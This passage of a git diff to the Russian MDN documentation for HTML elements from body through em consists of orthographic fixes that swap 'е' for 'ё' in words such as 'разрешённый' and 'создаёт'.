<dd>Цвет текста посещенной гипертекстовой ссылки. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.</em></dd> + <dd>Цвет текста посещённой гипертекстовой ссылки. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.</em></dd> </dl> <h2 id="Пример">Пример</h2> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/body <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '<body>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Изменен список несогласованных свойств.</td> + <td>Изменён список несогласованных свойств.</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '<body>')}}</td> diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html index f088017482..5bf34e89d2 100644 --- a/files/ru/web/html/element/br/index.html +++ b/files/ru/web/html/element/br/index.html @@ -64,7 +64,7 @@ USA<br></pre> <ul class="htmlelt"> <li><dfn><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></dfn> <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li> - <li><dfn>Разрешенное содержимое</dfn> Отсутствует, это {{Glossary("пустой элемент")}}.</li> + <li><dfn>Разрешённое содержимое</dfn> Отсутствует, это {{Glossary("пустой элемент")}}.</li> <li><dfn>Пропуск тегов</dfn>Должен иметь открывающий тег, но не закрывающий тег. В XHTML документах элемент пишется как <code><br /></code>.</li> <li><dfn>Допустимые родительские элементы</dfn> Любой элемент, который поддерживает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li> <li><dfn>Интерфейс DOM</dfn> {{domxref("HTMLBRElement")}}</li> diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html index 78cd1a07f7..61b3f30109 100644 --- a/files/ru/web/html/element/button/index.html +++ b/files/ru/web/html/element/button/index.html @@ -12,7 +12,7 @@ original_slug: Web/HTML/Element/кнопка --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <em><code><button></code></em></strong> создает кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.</p> +<p><strong>HTML-элемент <em><code><button></code></em></strong> создаёт кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.</p> @@ -60,18 +60,18 @@ original_slug: Web/HTML/Element/кнопка <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt> <dd>Данный булевый атрибут позволяет указать, будет ли кнопка автоматически сфокусирована после загрузки страницы, до тех пор, пока пользователь не изменит фокус в ручную, например выбрав другой элемент. Только один связанный с формой элемент в документе может иметь данный атрибут.</dd> <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt> - <dd>Использование данного атрибута на элементе <code><button></code> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняет назначенное динамически отключенное состояние </a>для элемента <code><button></code> при последующих загрузках страницы. Установка для данного атрибута значения <code>off</code> отключает подобное поведение. Смотрите {{bug(654072)}}.</dd> + <dd>Использование данного атрибута на элементе <code><button></code> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняет назначенное динамически отключённое состояние </a>для элемента <code><button></code> при последующих загрузках страницы. Установка для данного атрибута значения <code>off</code> отключает подобное поведение. Смотрите {{bug(654072)}}.</dd> <dt>{{htmlattrdef("disabled")}}</dt> <dd> <p>Булевый атрибут, указывающий, что пользователь не может взаимодействовать с кнопкой. Если атрибут не установлен, то кнопка наследует его от элемента-контейнера, в котором она расположена, например от {{HTMLElement("fieldset")}}; если отсутствует элемент-контейнер, с установленным атрибутом <strong>disabled</strong>, то кнопка доступна для взаимодействия.</p> - <p>Firefox по умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняет назначенное динамически отключенное состояние </a>для элемента <code><button></code>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.</p> + <p>Firefox по умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняет назначенное динамически отключённое состояние </a>для элемента <code><button></code>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.</p> </dd> <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt> <dd>Атрибут <strong>form</strong> позволяет указать элемент {{HTMLElement("form")}}, с которым связана кнопка. Данный атрибут должен хранить значение <strong>id</strong> элемента {{HTMLElement("form")}}. Если данный атрибут не установлен, то элемент <code><button></code> будет связан с родительским элементом {{HTMLElement("form")}}, если последний существует.</dd> <dd>Атрибут работает независимо от расположения элементов в документе, поэтому он позволяет связать элемент <code><button></code> с формой, даже в случае, если <code><button></code> не является наследником элемента {{HTMLElement("form")}}.</dd> <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt> - <dd>Ссылка на обработчик формы. Если атрибут определен — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.</dd> + <dd>Ссылка на обработчик формы. Если атрибут определён — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.</dd> <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет тип контента, отправляемого на сервер. Возможные значения данного атрибута: <ul> @@ -80,20 +80,20 @@ original_slug: Web/HTML/Element/кнопка <li><code>text/plain</code></li> </ul> - <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.</p> + <p>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.</p> </dd> <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет метод HTTP-запроса для отправки данных на сервер. Возможные варианты: <ul> <li><code>post</code>: данные формы включаются в тело сообщения и отправляются на сервер.</li> - <li><code>get</code>: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделенных знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.</li> + <li><code>get</code>: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделённых знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.</li> </ul> - <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.</p> + <p>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.</p> </dd> <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt> <dd>Булевый атрибут. Указывает, что данные формы не будут валидироваться при отправке.</dd> - <dd>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.</dd> + <dd>Если этот атрибут определён, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.</dd> <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt> <dd>Если <code>button</code> имеет тип <code>submit</code>, этот атрибут <span style="">является именем или ключевым словом</span>, <p dir="ltr" id="tw-target-text">указывающим, где отображать ответ, полученный после отправки формы<span style="">. This is a name of, or keyword for, a </span><em>browsing context</em><span style=""> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:</span></p> diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html index a0c094c7c8..dfef5ffe40 100644 --- a/files/ru/web/html/element/caption/index.html +++ b/files/ru/web/html/element/caption/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/caption <td>Нет</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>.</td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/caption <td>Конечный тег может быть опущен, если элемент не следует сразу за ASCII пробелом или комментарием.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Элемент {{HTMLElement("table")}} как его первый потомок</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-роли</th> + <th scope="row">Разрешённые ARIA-роли</th> <td>Нет</td> </tr> <tr> diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html index acc999a2a8..8a7bcb1875 100644 --- a/files/ru/web/html/element/cite/index.html +++ b/files/ru/web/html/element/cite/index.html @@ -10,13 +10,13 @@ translation_of: Web/HTML/Element/cite --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <cite></strong> (<em>от англ. Citation</em>) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращенном виде в соответствии с правилами, используемых для добавления метаданных цитирования.</p> +<p><strong>HTML-элемент <cite></strong> (<em>от англ. Citation</em>) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращённом виде в соответствии с правилами, используемых для добавления метаданных цитирования.</p> <div class="note"> <p><strong>Об использовании:</strong></p> <ul> - <li>Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчет, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.</li> + <li>Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчёт, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.</li> <li>Спецификация W3C утверждает, что ссылка на творческую работу может содержать имя автора, в то время, как WHATWG заявляет, что она не может включать имя человека ни в коем случае.</li> <li>Используйте атрибут {{htmlattrxref("cite", "blockquote")}} элемента {{HTMLElement("blockquote")}} или элемента {{HTMLElement("q")}} для ссылки на интернет-ресурс источника.</li> </ul> diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html index 47b0998714..9e0fa31592 100644 --- a/files/ru/web/html/element/col/index.html +++ b/files/ru/web/html/element/col/index.html @@ -80,7 +80,7 @@ translation_of: Web/HTML/Element/col <dl> <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt> - <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определенный как <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с префиксом '#'. Можно использовать одну из шестнадцати предопределенных строк: + <dd>Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определённый как <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с префиксом '#'. Можно использовать одну из шестнадцати предопределённых строк: <table style="width: 80%;"> <tbody> <tr> diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html index 776121917f..534077bc41 100644 --- a/files/ru/web/html/element/data/index.html +++ b/files/ru/web/html/element/data/index.html @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/data <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.data")}}</p> diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html index 8af1475c47..a10e49870b 100644 --- a/files/ru/web/html/element/datalist/index.html +++ b/files/ru/web/html/element/datalist/index.html @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/datalist <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.datalist")}}</p> diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html index 19f937c1c3..747f73b779 100644 --- a/files/ru/web/html/element/dd/index.html +++ b/files/ru/web/html/element/dd/index.html @@ -99,7 +99,7 @@ translation_of: Web/HTML/Element/dd <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dd")}}</p> diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html index 7c6e497506..73bf36f3ed 100644 --- a/files/ru/web/html/element/del/index.html +++ b/files/ru/web/html/element/del/index.html @@ -5,13 +5,13 @@ tags: - доступность translation_of: Web/HTML/Element/del --- -<p><span class="seoSummary">Элемент <strong>HTML <code><del></code> </strong>представляет диапазон текста, который был удален из документа. </span>Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.</p> +<p><span class="seoSummary">Элемент <strong>HTML <code><del></code> </strong>представляет диапазон текста, который был удалён из документа. </span>Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.</p> <div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div> <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Этот элемент часто (но не обязательно) отображается с помощью применения зачеркнутого стиля к тексту.</p> +<p>Этот элемент часто (но не обязательно) отображается с помощью применения зачёркнутого стиля к тексту.</p> <table class="properties"> <tbody> @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/del <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Фразовый контент</a> или <a href="/en-US/docs/HTML/Content_categories#Flow_content">потоковый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">Прозрачный</a>.</td> </tr> <tr> @@ -89,7 +89,7 @@ del::after { } </pre> -<p>Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создает дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя ее только в ситуациях, когда незнание контента, который был удален, может негативно повлиять на восприятие.</p> +<p>Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создаёт дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя её только в ситуациях, когда незнание контента, который был удалён, может негативно повлиять на восприятие.</p> <ul> <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Короткая заметка о создании своих меток (больше доступности) | The Paciello Group</a></li> @@ -136,7 +136,7 @@ del::after { <ul> <li>{{HTMLElement("ins")}} элемент для вставки в текст</li> <li> - <p>{{HTMLElement("s")}} элемент для зачеркивания, отдельный от представления удаленного текста</p> + <p>{{HTMLElement("s")}} элемент для зачёркивания, отдельный от представления удалённого текста</p> </li> </ul> diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html index 59a325fa0e..bbc3bc41be 100644 --- a/files/ru/web/html/element/details/index.html +++ b/files/ru/web/html/element/details/index.html @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/details <p>{{EmbedLiveSample("Example")}}</p> <div class="note"> -<p><strong>Примечание: </strong>Если приведенный выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. </p> +<p><strong>Примечание: </strong>Если приведённый выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. </p> </div> <h2 id="Примеры_стилизации">Примеры стилизации</h2> diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html index c34e105cbd..05e0214d31 100644 --- a/files/ru/web/html/element/dfn/index.html +++ b/files/ru/web/html/element/dfn/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/dfn <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но ни один {{HTMLElement("dfn")}} элемент не должен быть потомком.</td> </tr> <tr> @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/dfn <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/dfn <h3 id="Ссылки_на_<dfn>_элементы">Ссылки на <code><dfn></code> элементы</h3> -<p>Если вы включаете атрибут {{htmlattrxref("id")}} в <code><dfn></code> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он еще не знает его, нажав на ссылку термина.</p> +<p>Если вы включаете атрибут {{htmlattrxref("id")}} в <code><dfn></code> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он ещё не знает его, нажав на ссылку термина.</p> <p>Это показано ниже в примере {{anch("Ссылки на определения")}}.</p> @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/dfn <h3 id="Ссылки_на_определения">Ссылки на определения</h3> -<p>Чтобы добавить ссылки к определениям, вы создаете ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> <code>(<strong><dfn>&lt;dfn&gt;</dfn></strong>)</code> используется для обозначения термина, определяемого в контексте фразы или предложения. </p></p> +<p>Чтобы добавить ссылки к определениям, вы создаёте ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> <code>(<strong><dfn>&lt;dfn&gt;</dfn></strong>)</code> используется для обозначения термина, определяемого в контексте фразы или предложения. </p></p> <h4 id="HTML_2">HTML</h4> @@ -136,7 +136,7 @@ enim possumus hoc agere divinius?</p> <p> </p> -<p>Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} <code>«definition-dfn»</code>, который может использоваться в качестве цели для ссылки. Позднее создается ссылка с использованием<code> <a></code> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на <code>«#definition-dfn»</code>, чтобы установить ссылку обратно на определение.</p> +<p>Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} <code>«definition-dfn»</code>, который может использоваться в качестве цели для ссылки. Позднее создаётся ссылка с использованием<code> <a></code> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на <code>«#definition-dfn»</code>, чтобы установить ссылку обратно на определение.</p> <h4 id="Результат_2">Результат</h4> @@ -158,11 +158,11 @@ enim possumus hoc agere divinius?</p> <p>Действительно, HST, возможно, <abbr title="Hubble Space Telescope"></abbr> сделал больше для развития науки, чем любое другое устройство, когда-либо созданное.</p> </pre> -<p>Обратите внимание на <code><abbr></code> элемент, вложенный в <code><dfn></code>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своем атрибуте <code>title</code>. Последнее указывает на то, что сокращенный термин представляет собой определяемый термин.</p> +<p>Обратите внимание на <code><abbr></code> элемент, вложенный в <code><dfn></code>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своём атрибуте <code>title</code>. Последнее указывает на то, что сокращённый термин представляет собой определяемый термин.</p> <h4 id="Результат_3">Результат</h4> -<p>Вывод приведенного выше кода выглядит следующим образом:</p> +<p>Вывод приведённого выше кода выглядит следующим образом:</p> <p>{{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}</p> diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html index 38ca0276b5..3143ca9b83 100644 --- a/files/ru/web/html/element/dialog/index.html +++ b/files/ru/web/html/element/dialog/index.html @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/dialog </tr> <tr> <th scope="row">Разрешённые родительские элементы</th> - <td>Любой элемент, в котором разрешен <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основной поток</a></td> + <td>Любой элемент, в котором разрешён <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основной поток</a></td> </tr> <tr> <th scope="row">DOM-интерфейс</th> diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html index 27ca73a4ae..503e8e24a8 100644 --- a/files/ru/web/html/element/div/index.html +++ b/files/ru/web/html/element/div/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/div <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a> или (в {{glossary("WHATWG")}} HTML), если родительским является элемент {{HTMLElement("dl")}}: один или несколько элементов {{HTMLElement("dt")}}, сопровождаемых одним или более элементами {{HTMLElement("dd")}}, в ряде случаев смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.</td> </tr> <tr> @@ -39,12 +39,12 @@ translation_of: Web/HTML/Element/div <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого..<br> Или (в {{glossary("WHATWG")}} HTML): элемент {{HTMLElement("dl")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/div <tr> <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '<div>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени)</td> + <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени)</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '<div>')}}</td> diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html index 037d3e61c5..195584e4cd 100644 --- a/files/ru/web/html/element/dl/index.html +++ b/files/ru/web/html/element/dl/index.html @@ -118,7 +118,7 @@ translation_of: Web/HTML/Element/dl <h3 id="Множественные_термины_и_определения">Множественные термины и определения</h3> -<p>Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путем комбинирования приведенных выше примеров.</p> +<p>Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путём комбинирования приведённых выше примеров.</p> <h3 id="Метаданные">Метаданные</h3> @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/dl <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dl")}}</p> diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html index 093e46aa6d..d46393c7c8 100644 --- a/files/ru/web/html/element/dt/index.html +++ b/files/ru/web/html/element/dt/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/dt --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><dt></code> </strong>который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента {{HTMLElement("dl")}} .</span> Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <code><dt></code> идущие друг за другом будут содержать свое определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><dt></code> </strong>который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента {{HTMLElement("dl")}} .</span> Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <code><dt></code> идущие друг за другом будут содержать своё определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.</p> <p>Последующий элемент {{HTMLElement("dd")}} (<em>от англ. Description Details)</em> предоставляет определение или другой связанный текст, относящийся к термину, указанным с помощью <code><dt></code>.</p> @@ -91,7 +91,7 @@ translation_of: Web/HTML/Element/dt <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.dt")}}</p> diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html index 1ceea62afd..0a1ae9d801 100644 --- a/files/ru/web/html/element/em/index.html +++ b/files/ru/web/html/element/em/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/em --- <div>{{HTMLRef}}</div> -<p><strong>HTML <code><em></code> элемент</strong> отмечает акцентируемый текст. Элемент <code><em></code> может быть вложенным, причем каждый уровень вложенности указывает на большую степень акцента.</p> +<p><strong>HTML <code><em></code> элемент</strong> отмечает акцентируемый текст. Элемент <code><em></code> может быть вложенным, причём каждый уровень вложенности указывает на большую степень акцента.</p> <table class="properties"> <tbody> @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/em <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: 